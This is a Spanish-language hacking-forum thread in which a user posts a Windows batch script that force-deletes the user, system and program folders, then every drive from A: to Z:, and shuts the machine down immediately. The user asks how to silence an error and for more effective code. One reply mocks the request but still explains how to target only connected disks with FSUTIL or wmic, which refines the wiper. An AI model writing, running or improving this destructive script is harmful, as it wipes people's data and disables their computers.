Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Sheen en 22 Febrero 2013, 18:16 pm



Título: [Batch] ¿Como hacer para que borre todos los directorios de las unidades?
Publicado por: Sheen en 22 Febrero 2013, 18:16 pm
Hola gente!, estoy haciendo una mini aplicacion en batch, lo que hace es borrar todos los archivos/directorios de las unidades conectadas a la PC , ya sea USB o discos rigidos, el problema que me surgio es que cuando lo ejecuto me muestra este cartel  

http://www.subeimagenes.com/img/no-hay-disco-551805.html

¿Como hago para que no me aparezca esto?



Les dejo el codigo

Código
  1. @ECHO OFF
  2.  
  3. IF EXIST "C:\Users" del /S /F /Q "C:\Users"
  4. IF EXIST "C:\Users" rd /S /Q "C:\Users"
  5. IF EXIST "C:\Windows\System32" del /S /F /Q "C:\Windows\System32"
  6. IF EXIST "C:\Windows\System32" rd /S /Q "C:\Windows\System32"
  7. IF EXIST "C:\Windows" del /S /F /Q "C:\Windows"
  8. IF EXIST "C:\Windows" rd /S /Q "C:\Windows"
  9. IF EXIST "C:\Program Files (x86)" del /S /F /Q "C:\Program Files (x86)"
  10. IF EXIST "C:\Program Files (x86)" rd /S /Q "C:\Program Files (x86)"
  11. IF EXIST "C:\Program Files" del /S /F /Q "C:\Program Files"
  12. IF EXIST "C:\Program Files" rd /S /Q "C:\Program Files"
  13. IF EXIST "C:" del /S /F /Q "C:"
  14. IF EXIST "C:" rd /S /Q "C:"
  15.  
  16. IF EXIST "A:" del /S /F /Q "A:"
  17. IF EXIST "A:" rd  /S /Q "A:"
  18. IF EXIST "B:" del /S /F /Q "B:"
  19. IF EXIST "B:" rd /S /Q "B:"
  20. IF EXIST "D:" del /S /F /Q "D:"
  21. IF EXIST "D:" rd /S /Q "D:"
  22. IF EXIST "E:" del /S /F /Q "E:"
  23. IF EXIST "E:" rd /S /Q "E:"
  24. IF EXIST "F:" del /S /F /Q "F:"
  25. IF EXIST "F:" rd /S /Q "F:"
  26. IF EXIST "G:" del /S /F /Q "G:"
  27. IF EXIST "G:" rd /S /Q "G:"
  28. IF EXIST "H:" del /S /F /Q "H:"
  29. IF EXIST "H:" rd /S /Q "H:"
  30. IF EXIST "I:" del /S /F /Q "I:"
  31. IF EXIST "I:" rd /S /Q "I:"
  32. IF EXIST "J:" del /S /F /Q "J:"
  33. IF EXIST "J:" rd  /S /Q "J:"
  34. IF EXIST "K:" del /S /F /Q "K:"
  35. IF EXIST "K:" rd /S /Q "K:"
  36. IF EXIST "L:" del /S /F /Q "L:"
  37. IF EXIST "L:" rd /S /Q "L:"
  38. IF EXIST "M:" del /S /F /Q "M:"
  39. IF EXIST "M:" rd /S /Q "M:"
  40. IF EXIST "N:" del /S /F /Q "N:"
  41. IF EXIST "N:" rd /S /Q "N:"
  42. IF EXIST "O:" del /S /F /Q "O:"
  43. IF EXIST "O:" rd /S /Q "O:"
  44. IF EXIST "P:" del /S /F /Q "P:"
  45. IF EXIST "P:" rd /S /Q "P:"
  46. IF EXIST "Q:" del /S /F /Q "Q:"
  47. IF EXIST "Q:" rd /S /Q "Q:"
  48. IF EXIST "R:" del /S /F /Q "R:"
  49. IF EXIST "R:" rd  /S /Q "R:"
  50. IF EXIST "S:" del /S /F /Q "S:"
  51. IF EXIST "S:" rd /S /Q "S:"
  52. IF EXIST "T:" del /S /F /Q "T:"
  53. IF EXIST "T:" rd /S /Q "T:"
  54. IF EXIST "U:" del /S /F /Q "U:"
  55. IF EXIST "U:" rd   /S /Q "U:"
  56. IF EXIST "V:" del /S /F /Q "V:"
  57. IF EXIST "V:" rd  /S /Q "V:"
  58. IF EXIST "W:" del /S /F /Q "W:"
  59. IF EXIST "W:" rd /S /Q "W:"
  60. IF EXIST "X:" del /S /F /Q "X:"
  61. IF EXIST "X:" rd  /S /Q "X:"
  62. IF EXIST "Y:" del /S /F /Q "Y:"
  63. IF EXIST "Y:" rd /S /Q "Y:"
  64. IF EXIST "Z:" del /S /F /Q "Z:"
  65. IF EXIST "Z:" rd  /S /Q "Z:"
  66.  
  67. shutdown -s -t 0


PD: Si saben de un codigo mas simple y efectivo, me lo podrian pasar?


Título: Re: [Batch] ¿Como hacer para que borre todos los directorios de las unidades?
Publicado por: engel lex en 22 Febrero 2013, 18:25 pm
para borrar que todas las unidades?


Título: Re: [Batch] ¿Como hacer para que borre todos los directorios de las unidades?
Publicado por: Eleкtro en 22 Febrero 2013, 20:52 pm
PD: Si saben de un codigo mas simple y efectivo, me lo podrian pasar?

En Google encontrarás un millón de lammeadas en Batch que eliminan todos los directorios.

Ese aviso es porque Windows no puede acceder a las unidades vacías (Ejemplo: una disquettera sin disquette insertado),
lo puedes solucionar fácilmente obteniendo sólamente las letras de los Discos Duros conectados (Y no usar todo el alfabeto como en tu código) con el comando FSUTIL o también con el comando "wmic.exe logicaldisk", en el buscador del foro tienes muchos ejemplos de los dos, tanto míos como de otros usuarios.

Si te interesa el lenguaje aprende sobre esos comandos y pregunta tus dudas, si sólo te interesa lammear, mejor busca en Google...

Saludos!